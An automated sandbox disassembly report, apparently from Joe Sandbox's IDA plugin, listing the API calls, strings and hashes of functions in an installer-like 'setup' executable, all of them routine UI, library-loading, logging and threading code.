MODULE_BASE_ADDRESS, xrefs: 00CD5A0B
<--------------------MORE--FRAMES-------------------->, xrefs: 00CD595B
*** Stack Trace (x86) ***, xrefs: 00CD5894
[0x%.8Ix] , xrefs: 00CD52B7, 00CD59C5
SymFromAddr, xrefs: 00CD5763
v, xrefs: 00CD5AFC

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$Current$AddressEnterHandleInit_thread_footerInitializeLeaveLibraryLoadModuleProcProcessThread
String ID: *** Stack Trace (x86) ***$ v$<--------------------MORE--FRAMES-------------------->$Dbghelp.dll$MODULE_BASE_ADDRESS$SymFromAddr$[0x%.8Ix]
API String ID: 1326996155-981128330
Opcode ID: 245108adbdce9602e360090e5ac50b1222618ce2f6ca46a83176a765f4310db5
Instruction ID: 298ba919e28df6baeac5ffd37427e7825cde84ef86fcb0f9f26072e6b54e329a
Opcode Fuzzy Hash: 245108adbdce9602e360090e5ac50b1222618ce2f6ca46a83176a765f4310db5
Instruction Fuzzy Hash: 2EF100719006589FDB24DF24CC88BAEBBB5EF45300F2042EAE519A7391EB745B85CF60

Function 00CD5630 Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 296libraryloaderthreadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00EA47AC,02141699,00000000), ref: 00CD56A3
EnterCriticalSection.KERNEL32(00EA47AC,02141699), ref: 00CD56B8
GetCurrentProcess.KERNEL32 ref: 00CD56C5
GetCurrentThread.KERNEL32 ref: 00CD56D3
LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr,00000000), ref: 00CD576D
GetProcAddress.KERNEL32(00000000), ref: 00CD5774
__Init_thread_footer.LIBCMT ref: 00CD5788
GetModuleHandleW.KERNEL32(00000000,*** Stack Trace (x86) ***,0000001F,?,?,?,00000000), ref: 00CD59BE
LeaveCriticalSection.KERNEL32(00EA47AC,?,00000000), ref: 00CD5AFC

Strings

Dbghelp.dll, xrefs: 00CD5768
MODULE_BASE_ADDRESS, xrefs: 00CD5A0B
<--------------------MORE--FRAMES-------------------->, xrefs: 00CD595B
*** Stack Trace (x86) ***, xrefs: 00CD5894
[0x%.8Ix] , xrefs: 00CD59C5
SymFromAddr, xrefs: 00CD5763
v, xrefs: 00CD5AFC

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$Current$AddressEnterHandleInit_thread_footerInitializeLeaveLibraryLoadModuleProcProcessThread
String ID: *** Stack Trace (x86) ***$ v$<--------------------MORE--FRAMES-------------------->$Dbghelp.dll$MODULE_BASE_ADDRESS$SymFromAddr$[0x%.8Ix]
API String ID: 1326996155-981128330
Opcode ID: 92f028a04e93bacb3e53c6a0a13fb2ad46b796ac649490c4317d1b7825749719
Instruction ID: 08d9e2d0bd83bfbd02efe82c1071996f2ef6d1b8adbb34a51fcd3093f9f1a90d
Opcode Fuzzy Hash: 92f028a04e93bacb3e53c6a0a13fb2ad46b796ac649490c4317d1b7825749719
Instruction Fuzzy Hash: 9FD1BA70900668DFDB24DB64CC89BEEBBB4AF45301F1042EAE549B7291DB746B85CF60

Function 00BB8CA0 Relevance: 23.2, APIs: 12, Strings: 1, Instructions: 460stringCOMMON

Download Yara Rule

APIs

RedrawWindow.USER32(?,00000000,00000000,00000507,02141699), ref: 00BB8D2E
IsWindow.USER32(?), ref: 00BB8D40
GetParent.USER32(?), ref: 00BB8D81
lstrcmpW.KERNEL32(?,#32770), ref: 00BB8DA1

Strings

#32770, xrefs: 00BB8D98

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$ParentRedrawlstrcmp
String ID: #32770
API String ID: 3033045798-463685578
Opcode ID: 267227465962e8ca6580cdeac681cfaaab93ac0554a42ac9976f7bade3380d2e
Instruction ID: 525679a59eb0f45dfa9ff60e4ccb6cc84c641e034416607231bd42c5f5c8d526
Opcode Fuzzy Hash: 267227465962e8ca6580cdeac681cfaaab93ac0554a42ac9976f7bade3380d2e
Instruction Fuzzy Hash: D2028E70A00209EFDB14DFA8C848BEEBBF9EF49314F144599F515E7290DBB59944CB60

Function 00CC76D0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 390libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Advapi32.dll,02141699,?,00000000), ref: 00CC7761
GetLastError.KERNEL32 ref: 00CC778F

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

GetProcAddress.KERNEL32(00000000,ConvertStringSidToSidW), ref: 00CC77A5
FreeLibrary.KERNEL32(00000000), ref: 00CC77BE
GetLastError.KERNEL32 ref: 00CC77CB
GetLastError.KERNEL32 ref: 00CC79B9
GetLastError.KERNEL32 ref: 00CC7A1E

Strings

ConvertStringSidToSidW, xrefs: 00CC779F
Advapi32.dll, xrefs: 00CC775C

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLast$Library$AddressAllocateFreeHeapLoadProc
String ID: Advapi32.dll$ConvertStringSidToSidW
API String ID: 3460774402-1129428314
Opcode ID: f3b253a42e3a02f835fecf7fdbbefc88df16fb94cf50995b5e065f9becb92fa5
Instruction ID: cdc7d3bb30cb49d0c10d8ca24c22ea7e33547cd59e4efebd0dd9b9e108aeb7f5
Opcode Fuzzy Hash: f3b253a42e3a02f835fecf7fdbbefc88df16fb94cf50995b5e065f9becb92fa5
Instruction Fuzzy Hash: 9EF157B1C05209AFDB10DF94C945BEEBBB4FF04310F248229E915B7290E775AA59CFA1

Function 00BD64A0 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,tooltips_class32,00000000,80000063,80000000,80000000,80000000,80000000,?,00000000,00000000,02141699), ref: 00BD6528

Part of subcall function 00BB83A0: SetWindowLongW.USER32(?,000000FC,00000000), ref: 00BB83D6

SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00BD662B
SendMessageW.USER32(00000000,00000439,00000000,0000002C), ref: 00BD663F
SendMessageW.USER32(00000000,00000421,00000003,?), ref: 00BD6654
SendMessageW.USER32(00000000,00000418,00000000,0000012C), ref: 00BD6669
GetWindowTextLengthW.USER32(?), ref: 00BD6670
SendMessageW.USER32(?,000000D6,-00000001,00000000), ref: 00BD6680
ClientToScreen.USER32(?,?), ref: 00BD66A0
GetWindowRect.USER32(?,?), ref: 00BD66B2
PtInRect.USER32(?,?,?), ref: 00BD66C2
SendMessageW.USER32(00000000,00000412,00000000), ref: 00BD6714
SendMessageW.USER32(00000000,00000411,00000001,0000002C), ref: 00BD6724

Strings

tooltips_class32, xrefs: 00BD6522

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend$Window$Rect$ClientCreateLengthLongScreenText
String ID: tooltips_class32
API String ID: 2480742200-1918224756
Opcode ID: 109337467920e993bb39acf791b4bd8d1eaaec75b324c3daefe1c3823b16fa80
Instruction ID: 5fbcc12dda832b9063076462fbfdf3b736c5d2dbf85798540f62018f6a7306a0
Opcode Fuzzy Hash: 109337467920e993bb39acf791b4bd8d1eaaec75b324c3daefe1c3823b16fa80
Instruction Fuzzy Hash: C6912C71A00348AFDB14DFA5CD95BAEBBF9FB08700F14852AF516EA291E774A904CB50

Function 00BD7C10 Relevance: 22.7, APIs: 15, Instructions: 178windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000318,00000000,00000004), ref: 00BD7C77
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00BD7C85
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00BD7C9F
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00BD7CB7
SendMessageW.USER32(?,0000130A,00000000,?), ref: 00BD7CE8
CreateRectRgn.GDI32(?,?,?,?), ref: 00BD7D22
DeleteObject.GDI32(00000000), ref: 00BD7D39
GetClientRect.USER32(?,?), ref: 00BD7D55
CreateRectRgn.GDI32(00000000,00000000,?,?), ref: 00BD7D80
CreateRectRgn.GDI32(?,?,?,?), ref: 00BD7D9D
SelectClipRgn.GDI32(00000000,00000000), ref: 00BD7DB4
GetParent.USER32(?), ref: 00BD7DC4
SendMessageW.USER32(00000000,00000136,?,?), ref: 00BD7DD5
DeleteObject.GDI32(00000000), ref: 00BD7DEB
DeleteObject.GDI32(?), ref: 00BD7DF0

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageRectSend$Create$DeleteObject$ClientClipParentSelect
String ID:
API String ID: 1236051970-0
Opcode ID: 0877aed18c286f8cc34132e15999f1d9a944feb4eca8fd377b4657f8fee2604b
Instruction ID: d4d74bd6f3e079956f825ecc3dbc05853b83701a4d98dd9eb86c76e52b0fcf9b
Opcode Fuzzy Hash: 0877aed18c286f8cc34132e15999f1d9a944feb4eca8fd377b4657f8fee2604b
Instruction Fuzzy Hash: 39610572940218AFDB119FE5DD49BEEBBB9FF08710F200126F619EB2A0DB746954CB50

Function 00BDC690 Relevance: 21.4, APIs: 4, Strings: 8, Instructions: 358libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00000043), ref: 00BDC7B8
GetProcAddress.KERNEL32(00000000,InitializeEmbeddedUI), ref: 00BDC7D1
GetProcAddress.KERNEL32(00000043,ShutdownEmbeddedUI), ref: 00BDC7DD
GetProcAddress.KERNEL32(00000043,EmbeddedUIHandler), ref: 00BDC7EA

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Strings

INAN, xrefs: 00BDC6C5
SELECT `Data` FROM `Binary` WHERE `Name` = 'InstallerAnalytics.dll', xrefs: 00BDC719
build , xrefs: 00BDC8DF
EmbeddedUIHandler, xrefs: 00BDC7DF
InitializeEmbeddedUI, xrefs: 00BDC7CB
ShutdownEmbeddedUI, xrefs: 00BDC7D3
d71a6aa0, xrefs: 00BDC8EE
20.9, xrefs: 00BDC8CA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressProc$HeapInit_thread_footer$AllocateLibraryLoadProcess
String ID: build $20.9$EmbeddedUIHandler$INAN$InitializeEmbeddedUI$SELECT `Data` FROM `Binary` WHERE `Name` = 'InstallerAnalytics.dll'$ShutdownEmbeddedUI$d71a6aa0
API String ID: 2564778481-2118497109
Opcode ID: ea80a71db05b6dd5cdf61bbe2c06940738f86928e2014ff783789bb996163c34
Instruction ID: 7d17eee2ebf4477023d65591a277e1b6ff18fa4f8856fac3cb5fc36f9b07aeab
Opcode Fuzzy Hash: ea80a71db05b6dd5cdf61bbe2c06940738f86928e2014ff783789bb996163c34
Instruction Fuzzy Hash: 04D17E7190020AAFDB04DFA4CC55BEEBBF4FF09714F14465AE815A7391EB74AA44CBA0

Function 00BAEED0 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 233libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory), ref: 00BAEEDE
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00BAEEE4
LoadLibraryW.KERNEL32(combase.dll,CoIncrementMTAUsage,?,?), ref: 00BAEF17
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00BAEF1D
LoadLibraryW.KERNEL32(?,.dll,00000004,-00000001,00000000,00E172AC,00000000,00000000,00000000), ref: 00BAF03D
GetProcAddress.KERNEL32(00000000,DllGetActivationFactory), ref: 00BAF086

Strings

combase.dll, xrefs: 00BAEED9, 00BAEF12
DllGetActivationFactory, xrefs: 00BAF080
RoGetActivationFactory, xrefs: 00BAEED4
.dll, xrefs: 00BAF024
CoIncrementMTAUsage, xrefs: 00BAEF0D

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$combase.dll
API String ID: 2574300362-2454113998
Opcode ID: 3072c14a04cfb1ab71b7e335d98b4d70fef67db6eba045dc8e271e2c7562e762
Instruction ID: 87ddb64ee7b5ea7efabc44630063662377239f460908492a55eb4e34f2498939
Opcode Fuzzy Hash: 3072c14a04cfb1ab71b7e335d98b4d70fef67db6eba045dc8e271e2c7562e762
Instruction Fuzzy Hash: 24916C30D0820AEFDB24DFA8C895BEDB7F1EF59300F248169E411B7291EB719A45CB60

Function 00D00070 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00EA16AC,02141699,?,00000010), ref: 00D000AC

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

EnterCriticalSection.KERNEL32(00000010,02141699,?,00000010), ref: 00D000B9
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00D000EB
FlushFileBuffers.KERNEL32(00000000,?,?,?,00000000), ref: 00D000F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00E1727C,00000001,?,?,?,00000000), ref: 00D00176
FlushFileBuffers.KERNEL32(00000000,?,?,?,00000000), ref: 00D0017F
WriteFile.KERNEL32(00000000,?,?,00000019,00000000,?,?,?,00000000), ref: 00D001B5
FlushFileBuffers.KERNEL32(00000000,?,?,00000019,00000000,?,?,?,00000000), ref: 00D001BE
WriteFile.KERNEL32(00000000,?,?,?,00000000,00E1A104,00000002,?,?,00000019,00000000,?,?,?,00000000), ref: 00D0021F
FlushFileBuffers.KERNEL32(00000000,?,?,00000019,00000000,?,?,?,00000000), ref: 00D00228
LeaveCriticalSection.KERNEL32(00000000,?,?,00000019,00000000,?,?,?,00000000), ref: 00D00258

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Strings

v, xrefs: 00D00258

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: File$BuffersFlushWrite$CriticalSection$AllocateEnterFindHeapInitializeLeaveResource
String ID: v
API String ID: 201293332-3261393531
Opcode ID: 3c27e5e3867b068fc9912bc38e623f9022e40f9767411d9b2e544b0ca6f4d4b6
Instruction ID: 7febd93dc75893f1454c19b861004b07b3eb862046cd84130da6880f0fb43064
Opcode Fuzzy Hash: 3c27e5e3867b068fc9912bc38e623f9022e40f9767411d9b2e544b0ca6f4d4b6
Instruction Fuzzy Hash: 93619B30905644EFEB00DFA9CD49BAABBB4FF09310F148258F855A72A1D7319958CBA1

Function 00BC12D0 Relevance: 18.3, APIs: 12, Instructions: 337windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00BC1324
GetWindowRect.USER32(?,?), ref: 00BC1403
GetClientRect.USER32(?,?), ref: 00BC1415
GetWindowDC.USER32(?), ref: 00BC1427
CreateCompatibleDC.GDI32(00000000), ref: 00BC1454
CreateCompatibleBitmap.GDI32(00000000), ref: 00BC1496
SelectObject.GDI32(00000000,00000000), ref: 00BC14A5

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: RectWindow$CompatibleCreate$BitmapClientObjectSelect
String ID:
API String ID: 2032541772-0
Opcode ID: aac09c5a65d173e00cb41c68fdfe8e2575a7c7e2c5629c52d79c4ba7072caf89
Instruction ID: 38ff02441fabca239cd03c4dc3b14b85bfc77a6a2a4b4932d389738657401773
Opcode Fuzzy Hash: aac09c5a65d173e00cb41c68fdfe8e2575a7c7e2c5629c52d79c4ba7072caf89
Instruction Fuzzy Hash: C7E11871D01218DFDB21DFA9C948B9EBBF8EF59710F2442AAE809F7251DB706A44CB50

Function 00BB6F60 Relevance: 18.1, APIs: 12, Instructions: 139windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BB6F9E
FillRect.USER32(00000000,?,00000000), ref: 00BB6FBD
DeleteObject.GDI32(00000000), ref: 00BB6FC4
GetClientRect.USER32(?,?), ref: 00BB701F
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00BB7038
CreateCompatibleDC.GDI32(00000000), ref: 00BB7045
SelectObject.GDI32(00000000,00000000), ref: 00BB7057
FillRect.USER32(00000000,?,00000000), ref: 00BB7080
DeleteObject.GDI32(?), ref: 00BB708A
BitBlt.GDI32(00000000,00000000,00000000,00000008,00000008,00000000,00000000,00000000,00CC0020), ref: 00BB70C7
SelectObject.GDI32(00000000,?), ref: 00BB70D2
DeleteDC.GDI32(00000000), ref: 00BB70D9

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ObjectRect$Delete$ClientCompatibleCreateFillSelect$Bitmap
String ID:
API String ID: 441990398-0
Opcode ID: 0e0972d1f2e0aeafc4d8a524762870e480c97ff7ec852a8d2ef6b04ebea34b98
Instruction ID: e5ead86cd291d6d6e6c377420e58f783bf76ceef30071ba5ba903cbd94e9e762
Opcode Fuzzy Hash: 0e0972d1f2e0aeafc4d8a524762870e480c97ff7ec852a8d2ef6b04ebea34b98
Instruction Fuzzy Hash: 60418232104301AFD7219F65DD49F6BBBE8EB88701F10483BF656D21A0DBB1E8098B21

Function 00BE7100 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 469synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,00BE72B0,00E1C158,00000000,?), ref: 00BE722A
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00BE7243
CloseHandle.KERNEL32(00000000), ref: 00BE7259

Strings

r, xrefs: 00BE74D8

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CloseCreateHandleObjectSingleThreadWait
String ID: r
API String ID: 51348343-3729450569
Opcode ID: 9d681445973563cdf011d57ca2587fa14e8abe5fc7765ca4d8429dd4400f157e
Instruction ID: aa8b4fd3e89bef1f7a6f44fa56b876553fb2f4b6586d194375bc358d4da223f3
Opcode Fuzzy Hash: 9d681445973563cdf011d57ca2587fa14e8abe5fc7765ca4d8429dd4400f157e
Instruction Fuzzy Hash: FE027D70D04248DFDB14CFA9C945BAEBBF8FF45714F20829DE815AB291DB749A44CBA0

Function 00D01930 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 324synchronizationfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

DeleteFileW.KERNEL32(?,?,?,?,00000000,?,?,?,?), ref: 00D01C42

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

ResetEvent.KERNEL32(00000000,02141699,?,?,00000000,00DF67FD,000000FF,?,80004005), ref: 00D01CDF
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00DF67FD,000000FF,?,80004005), ref: 00D01CFF
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000,00DF67FD,000000FF,?,80004005), ref: 00D01D0A

Strings

http://www.yahoo.com, xrefs: 00D01AA9
http://www.example.com, xrefs: 00D01AB3
TEST, xrefs: 00D01A8D
tin9999.tmp, xrefs: 00D01A94
http://www.google.com, xrefs: 00D01A99

